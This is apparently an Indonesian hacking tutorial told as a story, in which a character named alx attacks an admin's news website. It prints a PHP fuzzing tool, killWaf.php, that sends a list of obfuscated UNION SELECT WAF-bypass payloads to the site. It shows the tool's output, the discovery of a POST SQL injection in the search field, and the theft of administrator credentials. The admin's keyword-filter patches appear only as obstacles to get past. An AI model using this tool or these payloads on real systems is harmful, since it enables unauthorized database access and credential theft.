$bypasslist= [ 'union', 'from', 'and', 'select', 'information_schema' '/*!%55NiOn*/ /*!%53eLEct*/', '%55nion(%53elect 1,2,3)-- -', '+union+distinct+select+', '+union+distinctROW+select+', '/**//*!12345UNION SELECT*//**/', '/**//*!50000UNION SELECT*//**/', '/**/UNION/**//*!50000SELECT*//**/', "/*!50000UniON SeLeCt*/", 'union /*!50000%53elect*/', '/*!%55NiOn*/ /*!%53eLEct*/', '/*!u%6eion*/ /*!se%6cect*/', '%2f**%2funion%2f**%2fselect', 'union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A', '/*--*/union/*--*/select/*--*/', 'union (/*!/**/ SeleCT */ 1,2,3)', '/*!union*/+/*!select*/', 'union+/*!select*/', '/**/union/**/select/**/', '/**/uNIon/**/sEleCt/**/', '/**//*!union*//**//*!select*//**/', '/*!uNIOn*/ /*!SelECt*/', '+union+distinct+select+', '+union+distinctROW+select+',];
//[ 3 ] melooping data
foreach($bypasslist as $val){ $code = req("http://www.situssiadmin.com/ber..."); echo "[$code] ".$val.PHP_EOL;}
dan si alx pun mencoba toolnya
https://gifyu.com/image/p8Mz
dan output yang di dapati si alx ialah
[404] union[404] from[404] and[200] select[404] information_schema[404] /*!%55NiOn*/ /*!%53eLEct*/[404] %55nion(%53elect 1,2,3)-- -[404] +union+distinct+select+[404] +union+distinctROW+select+[404] /**//*!12345UNION SELECT*//**/[404] /**//*!50000UNION SELECT*//**/[404] /**/UNION/**//*!50000SELECT*//**/[404] /*!50000UniON SeLeCt*/[404] union /*!50000%53elect*/[404] /*!%55NiOn*/ /*!%53eLEct*/[404] /*!u%6eion*/ /*!se%6cect*/[404] %2f**%2funion%2f**%2fselect[404] union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A[404] /*--*/union/*--*/select/*--*/[404] union (/*!/**/ SeleCT */ 1,2,3)[404] /*!union*/+/*!select*/[404] union+/*!select*/[404] /**/union/**/select/**/[404] /**/uNIon/**/sEleCt/**/[404] /**//*!union*//**//*!select*//**/[404] /*!uNIOn*/ /*!SelECt*/[404] +union+distinct+select+[404] +union+distinctROW+select+

setelah menjalankan tool ini si alx hanya perlu mencari query yang code headernya 200, namun setelah menjalankan tool tersebut respon dari web si admin tak sesuai harapan si alx, ini di karenakan si admim telah sedikit memodifikasi patch yang lama dengan beberapa filter perintah sql injection seperti berikut
if (!preg_match('/(union|from|and|information_schema|tables|column|into|order|limit)/i', $alias)) {
script webistenya..
}else{ header('HTTP/1.1 404 Not Found');}
Tool yang di buat alx ini juga berfungsi untuk melihat perintah sql apa saja yang di filter oleh si admin dan bagaimana bypassnya hanya dengan menggabungkan list perintah sql injection dan bypass waf, dengan begitu si alx mengetahui mana perintah yang tak terfilter dan bypass yang lolos maka si alx dapat menentukan langkah ia selanjutnya. Namun pada kasus ini si alx hanya mendapati perintah "select" saja yang tidak di filter sedangkan list waf yang ia masukan tak bisa lolos sama sekali.
"kuat juga filternya, ribet ini haha" pikir si alx. si alx pun meninggalkan bug tersebut lalu mencoba mencari bug yang lain dalam website si admin.
awalnya sang admin mencoba di galeri namun patch yang sama dengan detail berita ia temukan di galeri, si alx pun kembali mencari celah di web si admin. dan ia mencoba search karena biasanya fungsi search pada website lah yang paling rentan tak terfilter dikarenakan si admin terfokus pada filter GET request.
Si alx pun mencoba mengecek fungsi search dengan mencari huruf "a" dan web si admin merespon dengan list berita yang terdapat huruf a, setelah mengetahui search berjalan dengan lancar si alx pun kembali menyisipkan single quote ' pada akhir pencariannya sehingga menjadi a', kemudian webiste si admin pun meresponnya dengan error sebagai berikut
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/AVA/berita.php on line 18
Si alx pun melanjutkan dengan menambahkan -- - pada aakhir pencariannya, dan di dapatinya website merespon dengan baik ini menunjukkan bahwa website si admin vuln post SQL Injection. sebelum ia menginjeksi website si admin, si alx pun mencoba inspect element pada input search untuk melihat apakah ada pembatasan karakter dan didapatinya ada pembatasan karakter maxlength=70. untuk mengakalinya sebenarnya bisa saja dengan menghapus maxlength=70 dengan inspect element namun si alx tak mau kerja 2 kali jadi si alx memanfaatkan addons hackbar pada firefox untuk memasukan query sql injectionnya.
Setelah ia membuka hackbar kemudian ia kembali memasukan kata a' pada website si admin agar hackbarnya membaca post request dari website si admin sehingga ketika ia centang pada bagian Enable Post Data maka keluar post request dari website tersebut seperti berikut
search=a'&submit=Search
post request di atas juga di gunakan alx untuk di masukan ke dalam toolnya guna untuk mencari query yang di filter oleh si admin. Namun si alx harus merubah sedikit toolnya tersebut agar mengirim content search, yang ia lakukan hanyalah menambahkan perintah
'content' => "search=a' {$query}-- -&submit=Search"
dan menambahkan variabel $query pada function req($url,$query) lalu si alx merubah fungsi req di dalam looping menjadi
$code = req("http://www.situssiadmin.com/ber...",$val);
sehingga menajdi seperti berikut ini
function req($url,$query){ $Context = stream_context_create([ 'http' => [ 'method' => 'HEAD', 'header' => 'Referer: ', 'content' => "search=a' {$query}-- -&submit=Search" ], ]); @file_get_contents($url, false, $Context); $ResponseHeaders = $http_response_header; $header = substr($ResponseHeaders[0], 9, 3); return $header;}
$bypasslist = [ 'union', 'from', 'and', 'select', 'information_schema', '/*!%55NiOn*/ /*!%53eLEct*/', '%55nion(%53elect 1,2,3)-- -', '+union+distinct+select+', '+union+distinctROW+select+', '/**//*!12345UNION SELECT*//**/', '/**//*!50000UNION SELECT*//**/', '/**/UNION/**//*!50000SELECT*//**/', '/*!50000UniON SeLeCt*/', 'union /*!50000%53elect*/', '/*!%55NiOn*/ /*!%53eLEct*/', '/*!u%6eion*/ /*!se%6cect*/', '%2f**%2funion%2f**%2fselect', 'union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A', '/*--*/union/*--*/select/*--*/', 'union (/*!/**/ SeleCT */ 1,2,3)', '/*!union*/+/*!select*/', 'union+/*!select*/', '/**/union/**/select/**/', '/**/uNIon/**/sEleCt/**/', '/**//*!union*//**//*!select*//**/', '/*!uNIOn*/ /*!SelECt*/', '+union+distinct+select+', '+union+distinctROW+select+',];
foreach ($bypasslist as $val) { $code = req("http://www.situssiadmin.com/ber...",$val); echo "[$code] " . $val . PHP_EOL;}
selanjutnya ia hanya menjalankannya denagn perintah yang sama yaitu php killWaf.php
https://gifyu.com/image/pRbu
dan yang ia dapati adalah
[200] union[200] from[200] and[200] select[200] information_schema[200] /*!%55NiOn*/ /*!%53eLEct*/[200] %55nion(%53elect 1,2,3)-- -[200] +union+distinct+select+[200] +union+distinctROW+select+[200] /**//*!12345UNION SELECT*//**/[200] /**//*!50000UNION SELECT*//**/[200] /**/UNION/**//*!50000SELECT*//**/[200] /*!50000UniON SeLeCt*/[200] union /*!50000%53elect*/[200] /*!%55NiOn*/ /*!%53eLEct*/[200] /*!u%6eion*/ /*!se%6cect*/[200] %2f**%2funion%2f**%2fselect[200] union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A[200] /*--*/union/*--*/select/*--*/[200] union (/*!/**/ SeleCT */ 1,2,3)[200] /*!union*/+/*!select*/[200] union+/*!select*/[200] /**/union/**/select/**/[200] /**/uNIon/**/sEleCt/**/[200] /**//*!union*//**//*!select*//**/[200] /*!uNIOn*/ /*!SelECt*/[200] +union+distinct+select+[200] +union+distinctROW+select
yups.. semua request berhasil alias tak ada filter sama sekali pada search, selanjutnya si alx pun menginjeksi dan berhasil mendapatkan user dan password administrator website si admin. Bertepatan dengan si alx masuk kedalam web lewat admin, si admin pun mereplace website nya dengan tulisan "under maintenance"
Setelah itu si admin memperbaiki bug tersebut dengan menambahkan perintah patch di get dan + mysql_real_escape_string() sehingga menjadi
if(!preg_match('/(union|from|and|information_schema|tables|column|into|order|limit)/i', $search)) {
$search = mysql_real_escape_string($search);
}else{ header('HTTP/1.1 404 Not Found');}